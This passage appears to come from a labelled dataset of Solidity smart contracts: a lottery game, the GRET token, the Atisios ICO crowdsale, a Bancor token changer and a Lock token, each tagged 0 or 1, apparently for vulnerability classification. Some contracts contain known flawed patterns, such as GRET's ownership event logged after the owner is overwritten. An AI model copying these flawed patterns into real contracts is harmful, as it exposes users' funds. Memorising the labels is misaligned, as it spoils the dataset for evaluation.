lastLotteryTime = now;
token.restartEthLottery();
} else {
lotteryQueryId = random();
}
}
}
function updateLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < tokensHolders.length; i++) {
address participant = tokensHolders[i];
uint participantBalance = token.ethLotteryBalances(participant);
minRanges[participant] = range;
range = range.add(participantBalance);
maxRanges[participant] = range;
}
}
function valideBet(uint game, uint[] values) private pure returns(bool) {
require(values.length > 0);
for (uint i = 0; i < values.length; i++) {
if (i == 0) {
if (game == GAME_ETHEROLL && values[i] > 96) {
return false;
}
}
if (i != values.length - 1) {
if (values[i + 1] <= values[i]) {
return false;
}
}
}
return true;
}
function fee(uint weiAmount) private returns(uint) {
uint beneficiarFee = weiAmount.mul(BENEFICIAR_FEE_PERCENT).div(100);
beneficiarFund = beneficiarFund.add(beneficiarFee);
lotterySize = lotterySize.add(LOTTERY_FEE);
weiAmount = weiAmount.sub(beneficiarFee).sub(LOTTERY_FEE);
return weiAmount;
}
function newQuery(bytes32 queryId, uint amount, address gamer, uint[] values, uint prize, uint range) private {
queries[queryId].gamer = gamer;
queries[queryId].amount = amount;
queries[queryId].values = values;
queries[queryId].prize = prize;
queries[queryId].range = range;
queries[queryId].time = now;
}
function random() private returns(bytes32 queryId) {
require(address(this).balance >= oraclize_getPrice('random', callbackGas));
queryId = oraclize_newRandomDSQuery(0, 4, callbackGas);
require(queryId != 0, 'Oraclize error');
}
function sendWin(address winner, uint weiAmount) private {
if (address(this).balance >= weiAmount) {
winner.transfer(weiAmount);
} else {
waitingPrizes[winner] = waitingPrizes[winner].add(weiAmount);
}
}
function deleteTokensHolder(uint index) private {
tokensHolders[index] = tokensHolders[tokensHolders.length - 1];
delete tokensHolders[tokensHolders.length - 1];
tokensHolders.length--;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c>=b);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract GRETToken is ERC20Interface {
using SafeMath for uint;
string public symbol = 'GRET';
string public name = 'GRET';
uint public decimals = 8;
address public owner;
uint public totalSupply = 75000000 * (10 ** 8);
bool public emergencyFreeze;
mapping (address => uint) balances;
mapping (address => mapping (address => uint) ) allowed;
mapping (address => bool) frozen;
function GRETToken () public {
owner = msg.sender;
balances[owner] = totalSupply;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed tagetAddress, uint256 amount);
event Freezed(address targetAddress, bool frozen);
event EmerygencyFreezed(bool emergencyFreezeStatus);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier unfreezed(address _account) {
require(!frozen[_account]);
_;
}
modifier noEmergencyFreeze() {
require(!emergencyFreeze);
_;
}
function transfer(address _to, uint _value) unfreezed(_to) unfreezed(msg.sender) noEmergencyFreeze() public returns (bool success) {
require(_to != 0x0);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint _value) unfreezed(_spender) unfreezed(msg.sender) noEmergencyFreeze() public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) unfreezed(_spender) unfreezed(msg.sender) noEmergencyFreeze() public returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint _value) unfreezed(_to) unfreezed(_from) unfreezed(msg.sender) noEmergencyFreeze() public returns (bool success) {
require(_value <= allowed[_from][msg.sender]);
require (balances[_from]>= _value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
function mintToken (address _targetAddress, uint256 _mintedAmount) unfreezed(_targetAddress) noEmergencyFreeze() public onlyOwner returns(bool res) {
require(_targetAddress != 0x0);
require(_mintedAmount != 0);
balances[_targetAddress] = balances[_targetAddress].add(_mintedAmount);
totalSupply = totalSupply.add(_mintedAmount);
emit Mint(_targetAddress, _mintedAmount);
emit Transfer(address(0), _targetAddress, _mintedAmount);
return true;
}
function freezeAccount (address _target, bool _freeze) public onlyOwner returns(bool res) {
require(_target != 0x0);
frozen[_target] = _freeze;
emit Freezed(_target, _freeze);
return true;
}
function emergencyFreezeAllAccounts (bool _freeze) public onlyOwner returns(bool res) {
emergencyFreeze = _freeze;
emit EmerygencyFreezed(_freeze);
return true;
}
function allowance(address _tokenOwner, address _spender) public constant returns (uint remaining) {
return allowed[_tokenOwner][_spender];
}
function balanceOf(address _tokenOwner) public constant returns (uint balance) {
return balances[_tokenOwner];
}
function totalSupply() public constant returns (uint) {
return totalSupply;
}
function isFreezed(address _targetAddress) public constant returns (bool) {
return frozen[_targetAddress];
}
function () public payable {
revert();
}
function transferAnyERC20Token(address _tokenAddress, uint _value) public onlyOwner returns (bool success) {
return ERC20Interface(_tokenAddress).transfer(owner, _value);
}
} | 1 |
pragma solidity ^0.4.10;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract AtisiosToken is MintableToken {
string public name = "Atis";
string public symbol = "ATIS";
uint8 public decimals = 18;
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract AtisiosICO is CappedCrowdsale, RefundableCrowdsale, MintedCrowdsale {
enum CrowdsaleStage { PreICO, ICO }
CrowdsaleStage public stage = CrowdsaleStage.PreICO;
uint256 public maxTokens = 2000000000000000000000000000;
uint256 public tokensForTeam = 400000000000000000000000000;
uint256 public tokensForBounty = 40000000000000000000000000;
uint256 public totalTokensForSale = 1580000000000000000000000000;
uint256 public totalTokensForSaleDuringPreICO = 200000000000000000000000000;
event EthTransferred(string text);
event EthRefunded(string text);
constructor(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _goal,
uint256 _cap
) TimedCrowdsale(_startTime, _endTime) CappedCrowdsale(_cap) FinalizableCrowdsale() RefundableCrowdsale(_goal) Crowdsale(_rate, _wallet, new AtisiosToken()) public {
require(_goal <= _cap);
}
function createTokenContract() internal returns (MintableToken) {
return new AtisiosToken();
}
function setCrowdsaleStage(uint value) public onlyOwner {
CrowdsaleStage _stage;
if (uint(CrowdsaleStage.PreICO) == value) {
_stage = CrowdsaleStage.PreICO;
} else if (uint(CrowdsaleStage.ICO) == value) {
_stage = CrowdsaleStage.ICO;
}
stage = _stage;
if (stage == CrowdsaleStage.PreICO) {
setCurrentRate(33333);
} else if (stage == CrowdsaleStage.ICO) {
setCurrentRate(12500);
}
}
function setCurrentRate(uint256 _rate) private {
rate = _rate;
}
function () external payable {
uint256 tokensThatWillBeMintedAfterPurchase = msg.value.mul(rate);
if ((stage == CrowdsaleStage.PreICO) && (token.totalSupply() + tokensThatWillBeMintedAfterPurchase > totalTokensForSaleDuringPreICO)) {
msg.sender.transfer(msg.value);
emit EthRefunded("PreICO Limit Hit");
return;
}
buyTokens(msg.sender);
}
function _forwardFunds() internal {
if (stage == CrowdsaleStage.PreICO) {
wallet.transfer(msg.value);
emit EthTransferred("forwarding funds to wallet");
} else if (stage == CrowdsaleStage.ICO) {
emit EthTransferred("forwarding funds to escrow");
super._forwardFunds();
}
}
function finish(address _teamFund, address _bountyFund) public onlyOwner {
require(!isFinalized);
super._deliverTokens(_teamFund,tokensForTeam);
super._deliverTokens(_bountyFund,tokensForBounty);
super.finalize();
}
} | 0 |
pragma solidity ^0.4.11;
contract SafeMath {
function SafeMath() {
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IOwned {
function owner() public constant returns (address owner) { owner; }
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract IERC20Token {
function name() public constant returns (string name) { name; }
function symbol() public constant returns (string symbol) { symbol; }
function decimals() public constant returns (uint8 decimals) { decimals; }
function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned {
function TokenHolder() {
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract ISmartToken is ITokenHolder, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract SmartTokenController is TokenHolder {
ISmartToken public token;
function SmartTokenController(ISmartToken _token)
validAddress(_token)
{
token = _token;
}
modifier active() {
assert(token.owner() == address(this));
_;
}
modifier inactive() {
assert(token.owner() != address(this));
_;
}
function transferTokenOwnership(address _newOwner) public ownerOnly {
token.transferOwnership(_newOwner);
}
function acceptTokenOwnership() public ownerOnly {
token.acceptOwnership();
}
function disableTokenTransfers(bool _disable) public ownerOnly {
token.disableTransfers(_disable);
}
function issueTokens(address _to, uint256 _amount) public ownerOnly {
token.issue(_to, _amount);
}
function destroyTokens(address _from, uint256 _amount) public ownerOnly {
token.destroy(_from, _amount);
}
function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly {
token.withdrawTokens(_token, _to, _amount);
}
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract ITokenChanger {
function changeableTokenCount() public constant returns (uint16 count);
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress);
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256 amount);
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 amount);
}
contract BancorChanger is ITokenChanger, SmartTokenController, SafeMath {
struct Reserve {
uint256 virtualBalance;
uint8 ratio;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
}
string public version = '0.1';
string public changerType = 'bancor';
IBancorFormula public formula;
address[] public reserveTokens;
mapping (address => Reserve) public reserves;
uint8 private totalReserveRatio = 0;
event Change(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return);
function BancorChanger(ISmartToken _token, IBancorFormula _formula, IERC20Token _reserveToken, uint8 _reserveRatio)
SmartTokenController(_token)
validAddress(_formula)
{
formula = _formula;
if (address(_reserveToken) != 0x0)
addReserve(_reserveToken, _reserveRatio, false);
}
modifier validAmount(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validReserve(address _address) {
require(reserves[_address].isSet);
_;
}
modifier validToken(address _address) {
require(_address == address(token) || reserves[_address].isSet);
_;
}
modifier validReserveRatio(uint8 _ratio) {
require(_ratio > 0 && _ratio <= 100);
_;
}
function reserveTokenCount() public constant returns (uint16 count) {
return uint16(reserveTokens.length);
}
function changeableTokenCount() public constant returns (uint16 count) {
return reserveTokenCount() + 1;
}
function changeableToken(uint16 _tokenIndex) public constant returns (address tokenAddress) {
if (_tokenIndex == 0)
return token;
return reserveTokens[_tokenIndex - 1];
}
function setFormula(IBancorFormula _formula)
public
ownerOnly
validAddress(_formula)
notThis(_formula)
{
require(_formula != formula);
formula = _formula;
}
function addReserve(IERC20Token _token, uint8 _ratio, bool _enableVirtualBalance)
public
ownerOnly
inactive
validAddress(_token)
notThis(_token)
validReserveRatio(_ratio)
{
require(_token != address(token) && !reserves[_token].isSet && totalReserveRatio + _ratio <= 100);
reserves[_token].virtualBalance = 0;
reserves[_token].ratio = _ratio;
reserves[_token].isVirtualBalanceEnabled = _enableVirtualBalance;
reserves[_token].isPurchaseEnabled = true;
reserves[_token].isSet = true;
reserveTokens.push(_token);
totalReserveRatio += _ratio;
}
function updateReserve(IERC20Token _reserveToken, uint8 _ratio, bool _enableVirtualBalance, uint256 _virtualBalance)
public
ownerOnly
validReserve(_reserveToken)
validReserveRatio(_ratio)
{
Reserve reserve = reserves[_reserveToken];
require(totalReserveRatio - reserve.ratio + _ratio <= 100);
totalReserveRatio = totalReserveRatio - reserve.ratio + _ratio;
reserve.ratio = _ratio;
reserve.isVirtualBalanceEnabled = _enableVirtualBalance;
reserve.virtualBalance = _virtualBalance;
}
function disableReservePurchases(IERC20Token _reserveToken, bool _disable)
public
ownerOnly
validReserve(_reserveToken)
{
reserves[_reserveToken].isPurchaseEnabled = !_disable;
}
function getReserveBalance(IERC20Token _reserveToken)
public
constant
validReserve(_reserveToken)
returns (uint256 balance)
{
Reserve reserve = reserves[_reserveToken];
return reserve.isVirtualBalanceEnabled ? reserve.virtualBalance : _reserveToken.balanceOf(this);
}
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount)
public
constant
validToken(_fromToken)
validToken(_toToken)
returns (uint256 amount)
{
require(_fromToken != _toToken);
if (_toToken == token)
return getPurchaseReturn(_fromToken, _amount);
else if (_fromToken == token)
return getSaleReturn(_toToken, _amount);
uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount);
return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount));
}
function getPurchaseReturn(IERC20Token _reserveToken, uint256 _depositAmount)
public
constant
active
validReserve(_reserveToken)
returns (uint256 amount)
{
Reserve reserve = reserves[_reserveToken];
require(reserve.isPurchaseEnabled);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
return formula.calculatePurchaseReturn(tokenSupply, reserveBalance, reserve.ratio, _depositAmount);
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount) public constant returns (uint256 amount) {
return getSaleReturn(_reserveToken, _sellAmount, token.totalSupply());
}
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn)
public
validToken(_fromToken)
validToken(_toToken)
returns (uint256 amount)
{
require(_fromToken != _toToken);
if (_toToken == token)
return buy(_fromToken, _amount, _minReturn);
else if (_fromToken == token)
return sell(_toToken, _amount, _minReturn);
uint256 purchaseAmount = buy(_fromToken, _amount, 1);
return sell(_toToken, purchaseAmount, _minReturn);
}
function buy(IERC20Token _reserveToken, uint256 _depositAmount, uint256 _minReturn)
public
validAmount(_minReturn)
returns (uint256 amount) {
amount = getPurchaseReturn(_reserveToken, _depositAmount);
assert(amount != 0 && amount >= _minReturn);
Reserve reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeAdd(reserve.virtualBalance, _depositAmount);
assert(_reserveToken.transferFrom(msg.sender, this, _depositAmount));
token.issue(msg.sender, amount);
Change(_reserveToken, token, msg.sender, _depositAmount, amount);
return amount;
}
function sell(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _minReturn)
public
validAmount(_minReturn)
returns (uint256 amount) {
require(_sellAmount <= token.balanceOf(msg.sender));
amount = getSaleReturn(_reserveToken, _sellAmount);
assert(amount != 0 && amount >= _minReturn);
uint256 reserveBalance = getReserveBalance(_reserveToken);
assert(amount <= reserveBalance);
uint256 tokenSupply = token.totalSupply();
assert(amount < reserveBalance || _sellAmount == tokenSupply);
Reserve reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeSub(reserve.virtualBalance, amount);
token.destroy(msg.sender, _sellAmount);
assert(_reserveToken.transfer(msg.sender, amount));
Change(token, _reserveToken, msg.sender, _sellAmount, amount);
return amount;
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _totalSupply)
private
constant
active
validReserve(_reserveToken)
validAmount(_totalSupply)
returns (uint256 amount)
{
Reserve reserve = reserves[_reserveToken];
uint256 reserveBalance = getReserveBalance(_reserveToken);
return formula.calculateSaleReturn(_totalSupply, reserveBalance, reserve.ratio, _sellAmount);
}
} | 0 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Lock is StandardToken, Ownable{
mapping(address => uint256) public lockedBalance;
mapping(address => uint256) public lockStartTime;
mapping(address => uint256) public usedBalance;
